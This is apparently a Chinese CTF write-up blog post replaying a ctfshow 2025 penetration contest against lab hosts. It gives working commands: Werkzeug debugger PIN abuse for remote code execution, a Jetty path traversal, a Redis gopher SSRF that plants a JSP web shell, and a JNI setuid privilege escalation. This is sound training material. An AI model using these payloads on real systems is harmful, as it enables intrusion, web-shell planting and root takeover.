curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/console"

19

LiNs0Eo5XUIZLh2wyOqb,先构造

1
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/set_log_option?__debugger__=yes%2526cmd=printpin%2526f=console.png%2526s=LiNs0Eo5XUIZLh2wyOqb"
1
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/get_log_content?logFile=main.log"

20

105-923-412

然后输入pin码

1
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/set_log_option?__debugger__=yes%2526cmd=pinauth%2526pin=105-923-412%2526s=LiNs0Eo5XUIZLh2wyOqb"

21

换一种写法

1
curl --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" -i "http://172.2.224.6:8888/set_log_option?__debugger__=yes%2526cmd=pinauth%2526pin=105-923-412%2526s=LiNs0Eo5XUIZLh2wyOqb"

得到cookie

1
Set-Cookie: __wzd824de432821c6698e2e0=1736670190|bd2fc4339fe7; HttpOnly; Path=/; SameSite=Strict
1
curl --cookie "__wzd824de432821c6698e2e0=1736670190|bd2fc4339fe7" "http://172.2.224.6:8888/console?__debugger__=yes%2526cmd=print(__import__('os').popen('cat%252509/etc/passwd').read())%2526frm=0%2526s=LiNs0Eo5XUIZLh2wyOqb"

22

ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}

第五章

艰难的最后一步

本关要求

提交redis的密码

继续先横向移动

23

读取敏感信息

1
curl  -v  "http://172.2.224.7:8080/%u002e/WEB-INF/web.xml"

24

ctfshow{ctfshow_2025}

port为6380

功亏一篑

本关要求

提交 /dylan.txt 中的key

1
curl  -v  "dict://172.2.224.7:6380/auth:ctfshow_2025"

给的ok,尝试写马

1
2
3
4
5
6
auth ctfshow_2025
set mars "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>"
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename 2.jsp
save
quit
1
gopher://172.2.224.7:6380/_auth%20ctfshow_2025%0Aset%20mars%20%22%3C%25%20Runtime.getRuntime().exec(request.getParameter(%5C%22cmd%5C%22))%3B%25%3E%22%0Aconfig%20set%20dir%20%2Fopt%2Fjetty%2Fwebapps%2FROOT%2F%0Aconfig%20set%20dbfilename%202.jsp%0Asave%0Aquit

不知道为什么一直打不进去,就参考官p,传了另外一个马用base64进行绕过得到了回显

1
?orange=system(base64_decode('Y3VybCAgLXYgICJnb3BoZXI6Ly8xNzIuMi4yMjQuNzo2MzgwL19hdXRoJTIwY3Rmc2hvd18yMDI1JTBBc2V0JTIwbWFycyUyMCUyMiUzQyUyNSUyMFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3JTIwU3RyaW5nJTVCJTVEJTdCJTVDJTIyc2glNUMlMjIlMkMlNUMlMjItYyU1QyUyMiUyQ3JlcXVlc3QuZ2V0UGFyYW1ldGVyKCU1QyUyMmNtZCU1QyUyMiklN0QpJTNCJTI1JTNFJTIyJTBBY29uZmlnJTIwc2V0JTIwZGlyJTIwJTJGb3B0JTJGamV0dHklMkZ3ZWJhcHBzJTJGUk9PVCUyRiUwQWNvbmZpZyUyMHNldCUyMGRiZmlsZW5hbWUlMjAyLmpzcCUwQXNhdmUlMEFxdWl0Ig=='))

25

26

1
2
3
4
5
6
2.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/success.txt

http://172.2.224.7:8080/success.txt
The enemy cyber attacker 81192 has been injected with prions by our agents,
and there is no chance of survival, victory is ours!
The key is 7b11a7ae330883cb5bf667a9c1604635.

27

ctfshow{7b11a7ae330883cb5bf667a9c1604635}

今日方知我是我

本关要求

提交/root/message.txt中提到的网址

查询cap权限

1
2
3
2.jsp?cmd=getcap%20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt

/usr/local/openjdk-8/bin/java = cap_setuid+ep

java有setuid权限,写入 SetUID.c

1
2
3
4
5
6
#include <jni.h>
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
return setuid(uid);
}

写入

1
2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c

写入SetUID.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SetUID {
static {
System.loadLibrary("SetUID");
}

public native int setUID(int uid);

public static void main(String[] args) throws Exception {
SetUID setUID = new SetUID();
int result = setUID.setUID(0);
Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
}
}
1
2.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java

编译SetUID.c和java

1
2
3
2.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c

2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java

root执行权限

1
2.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID

最后/root.txt读取

1
2
3
4
5
6
7
8
9
10
致信后来者:

同志你好!我是81192,我不是第一批81192,也不会是最后一批81192,81192从来不是一个人。
现在,同志,你也是81192的一员了。
我已经清理和收集了他们的所有资料并传回总部,但是在我离开的时候,被dylan投毒,我已经感染了他们的朊病毒。
我把我的最后的话,都放到了一个网址里面,你在他们的任务中心中,用dylan身份登陆后,在管理菜单中 访问下面地址,就能看到了!再见了,同志!
网址是:http://8.11.9.2

现在我命令你:
我已无法返航,请继续前进!请继续前进!

ctfshow{http://8.11.9.2}


结尾

好艰难的比赛,前面自己还能写写后面都是抄wp复现了,晨曦师傅太强了,大菜鸡师傅出的也很好,先到这把 😦


ctfshow2025渗透赛复现
https://0ran9ewww.github.io/2025/01/12/ctfshow/ctfshow2025渗透赛复现/
作者
orange
发布于
2025年1月12日
更新于
2025年1月12日
许可协议